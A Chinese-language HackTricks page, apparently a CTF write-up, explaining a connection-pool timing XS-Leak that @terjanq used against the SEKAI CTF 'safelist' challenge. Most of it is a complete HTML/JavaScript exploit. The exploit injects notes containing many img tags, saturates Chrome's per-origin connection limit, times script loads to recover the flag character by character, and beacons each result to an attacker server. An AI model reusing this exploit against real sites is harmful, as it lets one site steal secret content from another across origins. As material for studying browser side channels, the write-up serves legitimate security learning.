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133 lines
6.2 KiB
Markdown
133 lines
6.2 KiB
Markdown
# 连接池按目标示例
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在**网络安全公司**工作吗？想要看到你的**公司在 HackTricks 中被宣传**吗？或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
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* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
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</details>
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在[**这个利用**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)中，[**@terjanq**](https://twitter.com/terjanq)提出了另一种解决方案，用于下一页中提到的挑战：
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{% content-ref url="connection-pool-by-destination-example.md" %}
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[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
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{% endcontent-ref %}
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让我们看看这个利用是如何工作的：
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* 攻击者将注入一个带有尽可能多的**`<img`**标签**加载** **`/js/purify.js`**的注释（超过 6 个以阻止来源）。
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* 然后，攻击者将**删除**索引为 1 的**注释**。
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* 然后，攻击者将\[使**机器人访问页面**以触发剩余注释\]，并将发送一个对**`victim.com/js/purify.js`**的**请求**，然后将**计时**。
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* 如果时间**更长**，则**注入**在**剩余注释**中，如果时间**更短**，则**标志**就在其中。
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{% hint style="info" %}
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说实话，阅读脚本时，我错过了一些**攻击者使机器人加载页面以触发 img 标签**的部分，我在代码中没有看到类似的内容
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{% endhint %}
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```html
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<html>
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<head>
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<script>
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const SITE_URL = 'https://safelist.ctf.sekai.team/';
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const PING_URL = 'https://myserver';
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function timeScript(){
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return new Promise(resolve => {
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var x = document.createElement('script');
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x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
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var start = Date.now();
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x.onerror = () => {
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console.log(`Time: ${Date.now() - start}`); //Time request
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resolve(Date.now() - start);
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x.remove();
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}
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document.body.appendChild(x);
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});
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}
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add_note = async (note) => {
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let x = document.createElement('form')
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x.action = SITE_URL + "create"
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x.method = "POST"
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x.target = "xxx"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "text"
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i.value = note
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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remove_note = async (note_id) => {
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let x = document.createElement('form')
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x.action = SITE_URL+"remove"
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x.method = "POST"
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x.target = "_blank"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "index"
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i.value = note_id
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
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// }zyxwvutsrqponmlkjihgfedcba_
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const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
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var prefix = 'SEKAI{xsleakyay';
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const TIMEOUT = 500;
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async function checkLetter(letter){
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// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
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// Depending whether we found flag's letter it will either load the images or not.
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// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
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const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
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await add_note(payload);
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await sleep(TIMEOUT);
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await timeScript();
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await remove_note(1); //Now, only the note with the flag or with the injection existsh
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await sleep(TIMEOUT);
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const time = await timeScript(); //Find out how much a request to the same origin takes
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navigator.sendBeacon(PING_URL, [letter,time]);
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if(time>100){
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return 1;
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}
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return 0;
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}
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window.onload = async () => {
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navigator.sendBeacon(PING_URL, 'start');
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// doesnt work because we are removing flag after success.
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// while(1){
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for(const letter of alphabet){
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if(await checkLetter(letter)){
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prefix += letter;
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navigator.sendBeacon(PING_URL, prefix);
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break;
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}
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}
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// }
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};
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</script>
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</head>
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<body>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家 **网络安全公司** 工作吗？想要看到你的 **公司在 HackTricks 中被宣传**？或者想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF**？查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
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* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
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* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**电报群组**](https://t.me/peass) 或者 **关注** 我在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)** 提交 PR 来分享你的黑客技巧。
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</details>
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